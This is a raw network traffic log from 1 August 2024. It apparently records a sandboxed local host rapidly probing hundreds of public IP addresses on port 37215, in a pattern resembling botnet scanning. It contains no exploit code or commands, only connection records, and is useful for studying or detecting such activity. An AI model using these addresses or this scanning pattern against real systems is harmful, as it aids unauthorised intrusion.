Aug 1, 2024 15:35:00.204859018 CEST	37215	47767	197.157.159.167	192.168.2.14
Aug 1, 2024 15:35:00.204859972 CEST	47767	37215	192.168.2.14	157.34.39.79
Aug 1, 2024 15:35:00.204868078 CEST	37215	47767	157.105.30.163	192.168.2.14
Aug 1, 2024 15:35:00.204871893 CEST	37215	47767	41.114.241.226	192.168.2.14
Aug 1, 2024 15:35:00.204871893 CEST	47767	37215	192.168.2.14	41.106.51.74
Aug 1, 2024 15:35:00.204875946 CEST	37215	47767	157.53.75.58	192.168.2.14
Aug 1, 2024 15:35:00.204884052 CEST	47767	37215	192.168.2.14	197.63.208.71
Aug 1, 2024 15:35:00.204886913 CEST	47767	37215	192.168.2.14	157.105.30.163
Aug 1, 2024 15:35:00.204899073 CEST	37215	47767	197.221.11.25	192.168.2.14
Aug 1, 2024 15:35:00.204901934 CEST	47767	37215	192.168.2.14	197.157.159.167
Aug 1, 2024 15:35:00.204902887 CEST	47767	37215	192.168.2.14	41.114.241.226
Aug 1, 2024 15:35:00.204907894 CEST	47767	37215	192.168.2.14	157.53.75.58
Aug 1, 2024 15:35:00.204910994 CEST	37215	47767	197.234.2.195	192.168.2.14
Aug 1, 2024 15:35:00.204921007 CEST	37215	47767	97.140.10.219	192.168.2.14
Aug 1, 2024 15:35:00.204926968 CEST	47767	37215	192.168.2.14	197.221.11.25
Aug 1, 2024 15:35:00.204931021 CEST	37215	47767	41.139.151.124	192.168.2.14
Aug 1, 2024 15:35:00.204941988 CEST	37215	47767	94.87.158.193	192.168.2.14
Aug 1, 2024 15:35:00.204942942 CEST	47767	37215	192.168.2.14	197.234.2.195
Aug 1, 2024 15:35:00.204952955 CEST	37215	47767	197.84.178.158	192.168.2.14
Aug 1, 2024 15:35:00.204958916 CEST	47767	37215	192.168.2.14	97.140.10.219
Aug 1, 2024 15:35:00.204962969 CEST	37215	47767	185.237.141.95	192.168.2.14
Aug 1, 2024 15:35:00.204967976 CEST	47767	37215	192.168.2.14	41.139.151.124
Aug 1, 2024 15:35:00.204974890 CEST	37215	47767	197.29.43.141	192.168.2.14
Aug 1, 2024 15:35:00.204978943 CEST	47767	37215	192.168.2.14	94.87.158.193
Aug 1, 2024 15:35:00.204984903 CEST	37215	47767	157.234.247.114	192.168.2.14
Aug 1, 2024 15:35:00.204993963 CEST	47767	37215	192.168.2.14	185.237.141.95
Aug 1, 2024 15:35:00.204994917 CEST	47767	37215	192.168.2.14	197.84.178.158
Aug 1, 2024 15:35:00.204996109 CEST	37215	47767	197.34.254.246	192.168.2.14
Aug 1, 2024 15:35:00.205002069 CEST	47767	37215	192.168.2.14	197.29.43.141
Aug 1, 2024 15:35:00.205005884 CEST	37215	47767	197.14.118.181	192.168.2.14
Aug 1, 2024 15:35:00.205013990 CEST	47767	37215	192.168.2.14	157.234.247.114
Aug 1, 2024 15:35:00.205015898 CEST	37215	47767	197.255.237.57	192.168.2.14
Aug 1, 2024 15:35:00.205025911 CEST	37215	47767	41.100.218.101	192.168.2.14
Aug 1, 2024 15:35:00.205035925 CEST	37215	47767	211.57.18.126	192.168.2.14
Aug 1, 2024 15:35:00.205043077 CEST	37215	47767	78.196.222.60	192.168.2.14
Aug 1, 2024 15:35:00.205044985 CEST	47767	37215	192.168.2.14	197.34.254.246
Aug 1, 2024 15:35:00.205046892 CEST	47767	37215	192.168.2.14	197.14.118.181
Aug 1, 2024 15:35:00.205053091 CEST	37215	47767	197.149.217.19	192.168.2.14
Aug 1, 2024 15:35:00.205059052 CEST	47767	37215	192.168.2.14	197.255.237.57
Aug 1, 2024 15:35:00.205064058 CEST	37215	47767	157.176.162.66	192.168.2.14
Aug 1, 2024 15:35:00.205074072 CEST	47767	37215	192.168.2.14	41.100.218.101
Aug 1, 2024 15:35:00.205074072 CEST	47767	37215	192.168.2.14	211.57.18.126
Aug 1, 2024 15:35:00.205077887 CEST	47767	37215	192.168.2.14	78.196.222.60
Aug 1, 2024 15:35:00.205084085 CEST	47767	37215	192.168.2.14	197.149.217.19
Aug 1, 2024 15:35:00.205096960 CEST	47767	37215	192.168.2.14	157.176.162.66
Aug 1, 2024 15:35:00.205249071 CEST	37215	47767	41.221.123.64	192.168.2.14
Aug 1, 2024 15:35:00.205259085 CEST	37215	47767	107.227.53.19	192.168.2.14
Aug 1, 2024 15:35:00.205271006 CEST	37215	47767	41.225.30.169	192.168.2.14
Aug 1, 2024 15:35:00.205282927 CEST	37215	47767	45.22.53.226	192.168.2.14
Aug 1, 2024 15:35:00.205291986 CEST	37215	47767	41.20.166.168	192.168.2.14
Aug 1, 2024 15:35:00.205293894 CEST	47767	37215	192.168.2.14	41.221.123.64
Aug 1, 2024 15:35:00.205301046 CEST	47767	37215	192.168.2.14	107.227.53.19
Aug 1, 2024 15:35:00.205303907 CEST	37215	47767	197.28.108.14	192.168.2.14
Aug 1, 2024 15:35:00.205312967 CEST	47767	37215	192.168.2.14	41.225.30.169
Aug 1, 2024 15:35:00.205315113 CEST	47767	37215	192.168.2.14	45.22.53.226
Aug 1, 2024 15:35:00.205316067 CEST	37215	47767	81.178.190.228	192.168.2.14
Aug 1, 2024 15:35:00.205327988 CEST	37215	47767	41.253.14.128	192.168.2.14
Aug 1, 2024 15:35:00.205329895 CEST	47767	37215	192.168.2.14	41.20.166.168
Aug 1, 2024 15:35:00.205341101 CEST	47767	37215	192.168.2.14	197.28.108.14
Aug 1, 2024 15:35:00.205349922 CEST	37215	47767	41.200.139.45	192.168.2.14
Aug 1, 2024 15:35:00.205354929 CEST	47767	37215	192.168.2.14	81.178.190.228
Aug 1, 2024 15:35:00.205359936 CEST	47767	37215	192.168.2.14	41.253.14.128
Aug 1, 2024 15:35:00.205360889 CEST	37215	47767	197.23.87.102	192.168.2.14
Aug 1, 2024 15:35:00.205370903 CEST	37215	47767	38.237.94.50	192.168.2.14
Aug 1, 2024 15:35:00.205383062 CEST	37215	47767	41.29.133.39	192.168.2.14
Aug 1, 2024 15:35:00.205385923 CEST	47767	37215	192.168.2.14	41.200.139.45
Aug 1, 2024 15:35:00.205393076 CEST	47767	37215	192.168.2.14	197.23.87.102
Aug 1, 2024 15:35:00.205394030 CEST	37215	47767	197.113.92.143	192.168.2.14
Aug 1, 2024 15:35:00.205404043 CEST	47767	37215	192.168.2.14	38.237.94.50
Aug 1, 2024 15:35:00.205404043 CEST	37215	47767	202.38.82.36	192.168.2.14
Aug 1, 2024 15:35:00.205415010 CEST	37215	47767	197.248.113.158	192.168.2.14
Aug 1, 2024 15:35:00.205415010 CEST	47767	37215	192.168.2.14	41.29.133.39
Aug 1, 2024 15:35:00.205425024 CEST	37215	47767	41.27.218.18	192.168.2.14
Aug 1, 2024 15:35:00.205425978 CEST	47767	37215	192.168.2.14	197.113.92.143
Aug 1, 2024 15:35:00.205436945 CEST	37215	47767	197.168.95.121	192.168.2.14
Aug 1, 2024 15:35:00.205446959 CEST	47767	37215	192.168.2.14	202.38.82.36
Aug 1, 2024 15:35:00.205447912 CEST	37215	47767	197.244.128.6	192.168.2.14
Aug 1, 2024 15:35:00.205450058 CEST	47767	37215	192.168.2.14	197.248.113.158
Aug 1, 2024 15:35:00.205459118 CEST	37215	47767	197.182.61.247	192.168.2.14
Aug 1, 2024 15:35:00.205468893 CEST	47767	37215	192.168.2.14	41.27.218.18
Aug 1, 2024 15:35:00.205470085 CEST	37215	47767	197.146.40.72	192.168.2.14
Aug 1, 2024 15:35:00.205468893 CEST	47767	37215	192.168.2.14	197.168.95.121
Aug 1, 2024 15:35:00.205468893 CEST	47767	37215	192.168.2.14	197.244.128.6
Aug 1, 2024 15:35:00.205482960 CEST	37215	47767	148.74.9.153	192.168.2.14
Aug 1, 2024 15:35:00.205491066 CEST	47767	37215	192.168.2.14	197.182.61.247
Aug 1, 2024 15:35:00.205507994 CEST	47767	37215	192.168.2.14	197.146.40.72
Aug 1, 2024 15:35:00.205517054 CEST	47767	37215	192.168.2.14	148.74.9.153
Aug 1, 2024 15:35:00.205593109 CEST	54662	37215	192.168.2.14	48.237.246.202
Aug 1, 2024 15:35:00.205729008 CEST	37215	47767	41.157.196.52	192.168.2.14
Aug 1, 2024 15:35:00.205739975 CEST	37215	47767	41.98.187.149	192.168.2.14
Aug 1, 2024 15:35:00.205749989 CEST	37215	47767	41.198.121.181	192.168.2.14
Aug 1, 2024 15:35:00.205760002 CEST	37215	47767	197.138.105.71	192.168.2.14
Aug 1, 2024 15:35:00.205766916 CEST	47767	37215	192.168.2.14	41.157.196.52
Aug 1, 2024 15:35:00.205768108 CEST	47767	37215	192.168.2.14	41.98.187.149
Aug 1, 2024 15:35:00.205769062 CEST	37215	47767	5.78.72.21	192.168.2.14
Aug 1, 2024 15:35:00.205780983 CEST	37215	47767	157.120.107.102	192.168.2.14
Aug 1, 2024 15:35:00.205786943 CEST	47767	37215	192.168.2.14	41.198.121.181
Aug 1, 2024 15:35:00.205790997 CEST	37215	47767	157.90.153.80	192.168.2.14
Aug 1, 2024 15:35:00.205791950 CEST	47767	37215	192.168.2.14	197.138.105.71
Aug 1, 2024 15:35:00.205797911 CEST	47767	37215	192.168.2.14	5.78.72.21
Aug 1, 2024 15:35:00.205805063 CEST	37215	47767	157.38.201.246	192.168.2.14
Aug 1, 2024 15:35:00.205815077 CEST	37215	47767	157.64.240.105	192.168.2.14
Aug 1, 2024 15:35:00.205816031 CEST	47767	37215	192.168.2.14	157.120.107.102
Aug 1, 2024 15:35:00.205816031 CEST	47767	37215	192.168.2.14	157.90.153.80
Aug 1, 2024 15:35:00.205826044 CEST	37215	47767	197.80.176.249	192.168.2.14
Aug 1, 2024 15:35:00.205837011 CEST	37215	47767	197.135.175.20	192.168.2.14
Aug 1, 2024 15:35:00.205846071 CEST	47767	37215	192.168.2.14	157.38.201.246
Aug 1, 2024 15:35:00.205847025 CEST	47767	37215	192.168.2.14	157.64.240.105
Aug 1, 2024 15:35:00.205857992 CEST	37215	47767	157.40.20.27	192.168.2.14
Aug 1, 2024 15:35:00.205859900 CEST	47767	37215	192.168.2.14	197.80.176.249
Aug 1, 2024 15:35:00.205868959 CEST	37215	47767	122.246.253.41	192.168.2.14
Aug 1, 2024 15:35:00.205878019 CEST	47767	37215	192.168.2.14	197.135.175.20
Aug 1, 2024 15:35:00.205878973 CEST	37215	47767	157.187.203.16	192.168.2.14
Aug 1, 2024 15:35:00.205888033 CEST	47767	37215	192.168.2.14	157.40.20.27
Aug 1, 2024 15:35:00.205890894 CEST	37215	47767	197.6.103.107	192.168.2.14
Aug 1, 2024 15:35:00.205899954 CEST	37215	47767	157.46.120.255	192.168.2.14
Aug 1, 2024 15:35:00.205904961 CEST	47767	37215	192.168.2.14	122.246.253.41
Aug 1, 2024 15:35:00.205909014 CEST	47767	37215	192.168.2.14	157.187.203.16
Aug 1, 2024 15:35:00.205909967 CEST	37215	47767	41.62.90.93	192.168.2.14
Aug 1, 2024 15:35:00.205919981 CEST	37215	47767	41.45.102.241	192.168.2.14
Aug 1, 2024 15:35:00.205920935 CEST	47767	37215	192.168.2.14	197.6.103.107
Aug 1, 2024 15:35:00.205929995 CEST	37215	47767	197.252.109.160	192.168.2.14
Aug 1, 2024 15:35:00.205935001 CEST	47767	37215	192.168.2.14	157.46.120.255
Aug 1, 2024 15:35:00.205939054 CEST	37215	47767	41.93.239.250	192.168.2.14
Aug 1, 2024 15:35:00.205940962 CEST	47767	37215	192.168.2.14	41.62.90.93
Aug 1, 2024 15:35:00.205950022 CEST	37215	47767	41.79.51.127	192.168.2.14
Aug 1, 2024 15:35:00.205955982 CEST	47767	37215	192.168.2.14	41.45.102.241
Aug 1, 2024 15:35:00.205959082 CEST	47767	37215	192.168.2.14	197.252.109.160
Aug 1, 2024 15:35:00.205960035 CEST	37215	47767	157.168.237.170	192.168.2.14
Aug 1, 2024 15:35:00.205971003 CEST	37215	47767	157.162.59.167	192.168.2.14
Aug 1, 2024 15:35:00.205975056 CEST	47767	37215	192.168.2.14	41.93.239.250
Aug 1, 2024 15:35:00.205980062 CEST	47767	37215	192.168.2.14	41.79.51.127
Aug 1, 2024 15:35:00.205982924 CEST	37215	47767	157.138.235.247	192.168.2.14
Aug 1, 2024 15:35:00.205990076 CEST	47767	37215	192.168.2.14	157.168.237.170
Aug 1, 2024 15:35:00.205992937 CEST	37215	47767	197.220.63.23	192.168.2.14
Aug 1, 2024 15:35:00.205997944 CEST	37215	47767	208.74.231.109	192.168.2.14
Aug 1, 2024 15:35:00.206006050 CEST	37215	47767	157.251.22.131	192.168.2.14
Aug 1, 2024 15:35:00.206007957 CEST	47767	37215	192.168.2.14	157.162.59.167
Aug 1, 2024 15:35:00.206016064 CEST	37215	47767	157.186.144.128	192.168.2.14
Aug 1, 2024 15:35:00.206023932 CEST	47767	37215	192.168.2.14	197.220.63.23
Aug 1, 2024 15:35:00.206026077 CEST	37215	47767	161.144.9.113	192.168.2.14
Aug 1, 2024 15:35:00.206027031 CEST	47767	37215	192.168.2.14	157.138.235.247
Aug 1, 2024 15:35:00.206029892 CEST	47767	37215	192.168.2.14	208.74.231.109
Aug 1, 2024 15:35:00.206037045 CEST	37215	47767	197.34.136.31	192.168.2.14
Aug 1, 2024 15:35:00.206041098 CEST	47767	37215	192.168.2.14	157.251.22.131
Aug 1, 2024 15:35:00.206044912 CEST	47767	37215	192.168.2.14	157.186.144.128
Aug 1, 2024 15:35:00.206047058 CEST	37215	47767	157.188.54.84	192.168.2.14
Aug 1, 2024 15:35:00.206058025 CEST	37215	47767	149.182.24.212	192.168.2.14
Aug 1, 2024 15:35:00.206065893 CEST	47767	37215	192.168.2.14	161.144.9.113
Aug 1, 2024 15:35:00.206067085 CEST	37215	47767	41.64.2.28	192.168.2.14
Aug 1, 2024 15:35:00.206079006 CEST	37215	47767	157.122.1.79	192.168.2.14
Aug 1, 2024 15:35:00.206079960 CEST	47767	37215	192.168.2.14	197.34.136.31
Aug 1, 2024 15:35:00.206082106 CEST	47767	37215	192.168.2.14	157.188.54.84
Aug 1, 2024 15:35:00.206082106 CEST	47767	37215	192.168.2.14	149.182.24.212
Aug 1, 2024 15:35:00.206089020 CEST	37215	47767	41.31.61.151	192.168.2.14
Aug 1, 2024 15:35:00.206110001 CEST	47767	37215	192.168.2.14	41.64.2.28
Aug 1, 2024 15:35:00.206113100 CEST	47767	37215	192.168.2.14	157.122.1.79
Aug 1, 2024 15:35:00.206118107 CEST	47767	37215	192.168.2.14	41.31.61.151
Aug 1, 2024 15:35:00.206233025 CEST	37215	47767	157.69.69.30	192.168.2.14
Aug 1, 2024 15:35:00.206243992 CEST	37215	47767	157.52.249.15	192.168.2.14
Aug 1, 2024 15:35:00.206254005 CEST	37215	47767	197.220.223.202	192.168.2.14
Aug 1, 2024 15:35:00.206273079 CEST	47767	37215	192.168.2.14	157.69.69.30
Aug 1, 2024 15:35:00.206285954 CEST	47767	37215	192.168.2.14	157.52.249.15
Aug 1, 2024 15:35:00.206285954 CEST	47767	37215	192.168.2.14	197.220.223.202
Aug 1, 2024 15:35:00.206294060 CEST	37215	47767	74.206.99.129	192.168.2.14
Aug 1, 2024 15:35:00.206305027 CEST	37215	47767	97.50.147.26	192.168.2.14
Aug 1, 2024 15:35:00.206315041 CEST	37215	47767	41.95.234.69	192.168.2.14
Aug 1, 2024 15:35:00.206325054 CEST	37215	47767	41.224.9.154	192.168.2.14
Aug 1, 2024 15:35:00.206335068 CEST	37215	47767	157.205.27.217	192.168.2.14
Aug 1, 2024 15:35:00.206337929 CEST	47767	37215	192.168.2.14	97.50.147.26
Aug 1, 2024 15:35:00.206338882 CEST	47767	37215	192.168.2.14	74.206.99.129
Aug 1, 2024 15:35:00.206343889 CEST	37215	47767	41.96.196.145	192.168.2.14
Aug 1, 2024 15:35:00.206348896 CEST	47767	37215	192.168.2.14	41.95.234.69
Aug 1, 2024 15:35:00.206353903 CEST	37215	47767	121.231.102.224	192.168.2.14
Aug 1, 2024 15:35:00.206360102 CEST	47767	37215	192.168.2.14	41.224.9.154
Aug 1, 2024 15:35:00.206371069 CEST	47767	37215	192.168.2.14	157.205.27.217
Aug 1, 2024 15:35:00.206371069 CEST	36358	37215	192.168.2.14	169.90.93.182
Aug 1, 2024 15:35:00.206374884 CEST	37215	47767	197.243.45.30	192.168.2.14
Aug 1, 2024 15:35:00.206377029 CEST	47767	37215	192.168.2.14	41.96.196.145
Aug 1, 2024 15:35:00.206384897 CEST	47767	37215	192.168.2.14	121.231.102.224
Aug 1, 2024 15:35:00.206384897 CEST	37215	47767	157.38.116.57	192.168.2.14
Aug 1, 2024 15:35:00.206407070 CEST	37215	47767	41.236.143.128	192.168.2.14
Aug 1, 2024 15:35:00.206409931 CEST	47767	37215	192.168.2.14	157.38.116.57
Aug 1, 2024 15:35:00.206412077 CEST	47767	37215	192.168.2.14	197.243.45.30
Aug 1, 2024 15:35:00.206418037 CEST	37215	47767	197.55.152.79	192.168.2.14
Aug 1, 2024 15:35:00.206427097 CEST	37215	47767	41.65.131.251	192.168.2.14
Aug 1, 2024 15:35:00.206437111 CEST	37215	47767	136.80.44.106	192.168.2.14
Aug 1, 2024 15:35:00.206448078 CEST	37215	47767	157.213.60.179	192.168.2.14
Aug 1, 2024 15:35:00.206450939 CEST	47767	37215	192.168.2.14	197.55.152.79
Aug 1, 2024 15:35:00.206454039 CEST	47767	37215	192.168.2.14	41.65.131.251
Aug 1, 2024 15:35:00.206454992 CEST	47767	37215	192.168.2.14	41.236.143.128
Aug 1, 2024 15:35:00.206459999 CEST	37215	47767	222.218.126.239	192.168.2.14
Aug 1, 2024 15:35:00.206471920 CEST	37215	47767	41.116.208.152	192.168.2.14
Aug 1, 2024 15:35:00.206471920 CEST	47767	37215	192.168.2.14	136.80.44.106
Aug 1, 2024 15:35:00.206481934 CEST	37215	47767	75.163.135.119	192.168.2.14
Aug 1, 2024 15:35:00.206490040 CEST	47767	37215	192.168.2.14	222.218.126.239
Aug 1, 2024 15:35:00.206490040 CEST	47767	37215	192.168.2.14	157.213.60.179
Aug 1, 2024 15:35:00.206492901 CEST	37215	47767	72.26.92.56	192.168.2.14
Aug 1, 2024 15:35:00.206504107 CEST	37215	47767	41.238.211.83	192.168.2.14
Aug 1, 2024 15:35:00.206509113 CEST	47767	37215	192.168.2.14	41.116.208.152
Aug 1, 2024 15:35:00.206513882 CEST	37215	47767	87.204.213.182	192.168.2.14
Aug 1, 2024 15:35:00.206515074 CEST	47767	37215	192.168.2.14	75.163.135.119
Aug 1, 2024 15:35:00.206521988 CEST	47767	37215	192.168.2.14	72.26.92.56
Aug 1, 2024 15:35:00.206526995 CEST	37215	47767	85.135.47.10	192.168.2.14
Aug 1, 2024 15:35:00.206536055 CEST	47767	37215	192.168.2.14	41.238.211.83
Aug 1, 2024 15:35:00.206537962 CEST	37215	47767	197.72.149.214	192.168.2.14
Aug 1, 2024 15:35:00.206543922 CEST	47767	37215	192.168.2.14	87.204.213.182
Aug 1, 2024 15:35:00.206549883 CEST	37215	47767	41.255.110.42	192.168.2.14
Aug 1, 2024 15:35:00.206561089 CEST	37215	47767	197.193.166.188	192.168.2.14
Aug 1, 2024 15:35:00.206563950 CEST	47767	37215	192.168.2.14	85.135.47.10
Aug 1, 2024 15:35:00.206568956 CEST	47767	37215	192.168.2.14	197.72.149.214
Aug 1, 2024 15:35:00.206571102 CEST	37215	47767	157.255.24.39	192.168.2.14
Aug 1, 2024 15:35:00.206584930 CEST	47767	37215	192.168.2.14	41.255.110.42
Aug 1, 2024 15:35:00.206593037 CEST	47767	37215	192.168.2.14	197.193.166.188
Aug 1, 2024 15:35:00.206600904 CEST	47767	37215	192.168.2.14	157.255.24.39
Aug 1, 2024 15:35:00.206881046 CEST	37215	47767	41.8.196.137	192.168.2.14
Aug 1, 2024 15:35:00.206892014 CEST	37215	47767	157.142.237.31	192.168.2.14
Aug 1, 2024 15:35:00.206902981 CEST	37215	47767	197.220.153.132	192.168.2.14
Aug 1, 2024 15:35:00.206913948 CEST	37215	47767	41.231.95.124	192.168.2.14
Aug 1, 2024 15:35:00.206923962 CEST	37215	47767	89.90.114.110	192.168.2.14
Aug 1, 2024 15:35:00.206927061 CEST	47767	37215	192.168.2.14	157.142.237.31
Aug 1, 2024 15:35:00.206928015 CEST	47767	37215	192.168.2.14	41.8.196.137
Aug 1, 2024 15:35:00.206935883 CEST	37215	47767	197.115.167.253	192.168.2.14
Aug 1, 2024 15:35:00.206945896 CEST	37215	47767	41.94.200.82	192.168.2.14
Aug 1, 2024 15:35:00.206945896 CEST	47767	37215	192.168.2.14	197.220.153.132
Aug 1, 2024 15:35:00.206949949 CEST	47767	37215	192.168.2.14	41.231.95.124
Aug 1, 2024 15:35:00.206957102 CEST	37215	47767	197.254.249.95	192.168.2.14
Aug 1, 2024 15:35:00.206965923 CEST	47767	37215	192.168.2.14	89.90.114.110
Aug 1, 2024 15:35:00.206965923 CEST	47767	37215	192.168.2.14	197.115.167.253
Aug 1, 2024 15:35:00.206973076 CEST	37215	47767	157.125.174.157	192.168.2.14
Aug 1, 2024 15:35:00.206979990 CEST	47767	37215	192.168.2.14	41.94.200.82
Aug 1, 2024 15:35:00.206984997 CEST	37215	47767	157.80.134.74	192.168.2.14
Aug 1, 2024 15:35:00.206988096 CEST	47767	37215	192.168.2.14	197.254.249.95
Aug 1, 2024 15:35:00.206995964 CEST	37215	47767	153.133.129.250	192.168.2.14
Aug 1, 2024 15:35:00.207006931 CEST	37215	47767	197.206.9.113	192.168.2.14
Aug 1, 2024 15:35:00.207010031 CEST	47767	37215	192.168.2.14	157.125.174.157
Aug 1, 2024 15:35:00.207015991 CEST	37215	47767	41.88.112.173	192.168.2.14
Aug 1, 2024 15:35:00.207020044 CEST	47767	37215	192.168.2.14	157.80.134.74
Aug 1, 2024 15:35:00.207026005 CEST	37215	47767	157.102.17.251	192.168.2.14
Aug 1, 2024 15:35:00.207031965 CEST	47767	37215	192.168.2.14	153.133.129.250
Aug 1, 2024 15:35:00.207036018 CEST	37215	47767	41.220.44.61	192.168.2.14
Aug 1, 2024 15:35:00.207039118 CEST	47767	37215	192.168.2.14	197.206.9.113
Aug 1, 2024 15:35:00.207046986 CEST	37215	47767	41.41.204.126	192.168.2.14
Aug 1, 2024 15:35:00.207046986 CEST	47767	37215	192.168.2.14	41.88.112.173
Aug 1, 2024 15:35:00.207051992 CEST	47767	37215	192.168.2.14	157.102.17.251
Aug 1, 2024 15:35:00.207058907 CEST	37215	47767	41.255.76.187	192.168.2.14
Aug 1, 2024 15:35:00.207072973 CEST	47767	37215	192.168.2.14	41.220.44.61
Aug 1, 2024 15:35:00.207078934 CEST	37215	47767	41.138.148.220	192.168.2.14
Aug 1, 2024 15:35:00.207082987 CEST	47767	37215	192.168.2.14	41.255.76.187
Aug 1, 2024 15:35:00.207083941 CEST	47767	37215	192.168.2.14	41.41.204.126
Aug 1, 2024 15:35:00.207089901 CEST	37215	47767	197.117.1.12	192.168.2.14
Aug 1, 2024 15:35:00.207101107 CEST	37215	47767	134.122.141.187	192.168.2.14
Aug 1, 2024 15:35:00.207112074 CEST	37215	47767	197.88.247.27	192.168.2.14
Aug 1, 2024 15:35:00.207114935 CEST	47767	37215	192.168.2.14	41.138.148.220
Aug 1, 2024 15:35:00.207122087 CEST	37215	47767	41.188.12.214	192.168.2.14
Aug 1, 2024 15:35:00.207123041 CEST	47767	37215	192.168.2.14	197.117.1.12
Aug 1, 2024 15:35:00.207133055 CEST	37215	47767	134.137.174.133	192.168.2.14
Aug 1, 2024 15:35:00.207134008 CEST	37040	37215	192.168.2.14	157.115.158.85
Aug 1, 2024 15:35:00.207139015 CEST	47767	37215	192.168.2.14	134.122.141.187
Aug 1, 2024 15:35:00.207142115 CEST	37215	47767	41.186.103.222	192.168.2.14
Aug 1, 2024 15:35:00.207143068 CEST	47767	37215	192.168.2.14	197.88.247.27
Aug 1, 2024 15:35:00.207153082 CEST	37215	47767	157.56.89.238	192.168.2.14
Aug 1, 2024 15:35:00.207159996 CEST	47767	37215	192.168.2.14	134.137.174.133
Aug 1, 2024 15:35:00.207163095 CEST	37215	47767	201.187.159.152	192.168.2.14
Aug 1, 2024 15:35:00.207163095 CEST	47767	37215	192.168.2.14	41.188.12.214
Aug 1, 2024 15:35:00.207174063 CEST	47767	37215	192.168.2.14	41.186.103.222
Aug 1, 2024 15:35:00.207174063 CEST	37215	47767	41.192.147.160	192.168.2.14
Aug 1, 2024 15:35:00.207184076 CEST	37215	36140	157.147.180.179	192.168.2.14
Aug 1, 2024 15:35:00.207190990 CEST	47767	37215	192.168.2.14	157.56.89.238
Aug 1, 2024 15:35:00.207194090 CEST	47767	37215	192.168.2.14	201.187.159.152
Aug 1, 2024 15:35:00.207200050 CEST	47767	37215	192.168.2.14	41.192.147.160
Aug 1, 2024 15:35:00.207206964 CEST	37215	39948	23.22.18.80	192.168.2.14
Aug 1, 2024 15:35:00.207218885 CEST	37215	55318	41.159.222.178	192.168.2.14
Aug 1, 2024 15:35:00.207228899 CEST	37215	53904	197.116.156.209	192.168.2.14
Aug 1, 2024 15:35:00.207230091 CEST	36140	37215	192.168.2.14	157.147.180.179
Aug 1, 2024 15:35:00.207254887 CEST	39948	37215	192.168.2.14	23.22.18.80
Aug 1, 2024 15:35:00.207258940 CEST	55318	37215	192.168.2.14	41.159.222.178
Aug 1, 2024 15:35:00.207264900 CEST	53904	37215	192.168.2.14	197.116.156.209
Aug 1, 2024 15:35:00.207562923 CEST	37215	39690	197.82.105.13	192.168.2.14
Aug 1, 2024 15:35:00.207617998 CEST	39690	37215	192.168.2.14	197.82.105.13
Aug 1, 2024 15:35:00.207829952 CEST	42748	37215	192.168.2.14	157.194.230.216
Aug 1, 2024 15:35:00.208479881 CEST	60678	37215	192.168.2.14	157.34.139.219
Aug 1, 2024 15:35:00.209155083 CEST	41796	37215	192.168.2.14	32.15.100.40
Aug 1, 2024 15:35:00.209816933 CEST	58852	37215	192.168.2.14	97.250.45.42
Aug 1, 2024 15:35:00.209863901 CEST	37215	43764	157.52.2.31	192.168.2.14
Aug 1, 2024 15:35:00.209920883 CEST	43764	37215	192.168.2.14	157.52.2.31
Aug 1, 2024 15:35:00.210527897 CEST	48382	37215	192.168.2.14	197.149.19.54
Aug 1, 2024 15:35:00.211262941 CEST	55048	37215	192.168.2.14	41.179.175.67
Aug 1, 2024 15:35:00.211328030 CEST	37215	39344	157.14.74.18	192.168.2.14
Aug 1, 2024 15:35:00.211368084 CEST	39344	37215	192.168.2.14	157.14.74.18
Aug 1, 2024 15:35:00.211930037 CEST	55130	37215	192.168.2.14	41.228.155.1
Aug 1, 2024 15:35:00.212585926 CEST	57064	37215	192.168.2.14	41.120.210.166
Aug 1, 2024 15:35:00.212729931 CEST	37215	46784	197.82.241.173	192.168.2.14
Aug 1, 2024 15:35:00.212795973 CEST	46784	37215	192.168.2.14	197.82.241.173
Aug 1, 2024 15:35:00.213161945 CEST	37215	37854	197.224.170.133	192.168.2.14
Aug 1, 2024 15:35:00.213201046 CEST	37854	37215	192.168.2.14	197.224.170.133
Aug 1, 2024 15:35:00.213221073 CEST	54100	37215	192.168.2.14	69.134.32.164
Aug 1, 2024 15:35:00.213500977 CEST	37215	54662	48.237.246.202	192.168.2.14
Aug 1, 2024 15:35:00.213543892 CEST	54662	37215	192.168.2.14	48.237.246.202
Aug 1, 2024 15:35:00.213860989 CEST	60006	37215	192.168.2.14	157.154.25.224
Aug 1, 2024 15:35:00.213985920 CEST	37215	36358	169.90.93.182	192.168.2.14
Aug 1, 2024 15:35:00.214030981 CEST	36358	37215	192.168.2.14	169.90.93.182
Aug 1, 2024 15:35:00.214519978 CEST	56740	37215	192.168.2.14	41.59.251.151
Aug 1, 2024 15:35:00.215174913 CEST	46312	37215	192.168.2.14	57.81.164.95
Aug 1, 2024 15:35:00.215221882 CEST	37215	37040	157.115.158.85	192.168.2.14
Aug 1, 2024 15:35:00.215233088 CEST	37215	42748	157.194.230.216	192.168.2.14
Aug 1, 2024 15:35:00.215243101 CEST	37215	60678	157.34.139.219	192.168.2.14
Aug 1, 2024 15:35:00.215248108 CEST	37215	41796	32.15.100.40	192.168.2.14
Aug 1, 2024 15:35:00.215256929 CEST	37215	58852	97.250.45.42	192.168.2.14
Aug 1, 2024 15:35:00.215267897 CEST	60678	37215	192.168.2.14	157.34.139.219
Aug 1, 2024 15:35:00.215274096 CEST	37040	37215	192.168.2.14	157.115.158.85
Aug 1, 2024 15:35:00.215279102 CEST	42748	37215	192.168.2.14	157.194.230.216
Aug 1, 2024 15:35:00.215280056 CEST	41796	37215	192.168.2.14	32.15.100.40
Aug 1, 2024 15:35:00.215281963 CEST	58852	37215	192.168.2.14	97.250.45.42
Aug 1, 2024 15:35:00.215598106 CEST	37215	48382	197.149.19.54	192.168.2.14
Aug 1, 2024 15:35:00.215634108 CEST	48382	37215	192.168.2.14	197.149.19.54
Aug 1, 2024 15:35:00.215812922 CEST	38070	37215	192.168.2.14	44.219.0.116
Aug 1, 2024 15:35:00.216101885 CEST	37215	55048	41.179.175.67	192.168.2.14
Aug 1, 2024 15:35:00.216152906 CEST	55048	37215	192.168.2.14	41.179.175.67
Aug 1, 2024 15:35:00.216463089 CEST	47098	37215	192.168.2.14	157.78.224.146
Aug 1, 2024 15:35:00.217119932 CEST	38238	37215	192.168.2.14	157.176.18.12
Aug 1, 2024 15:35:00.217154980 CEST	37215	55130	41.228.155.1	192.168.2.14
Aug 1, 2024 15:35:00.217204094 CEST	55130	37215	192.168.2.14	41.228.155.1
Aug 1, 2024 15:35:00.217760086 CEST	34282	37215	192.168.2.14	157.202.198.155
Aug 1, 2024 15:35:00.218390942 CEST	37215	57064	41.120.210.166	192.168.2.14
Aug 1, 2024 15:35:00.218410969 CEST	48004	37215	192.168.2.14	197.150.163.156
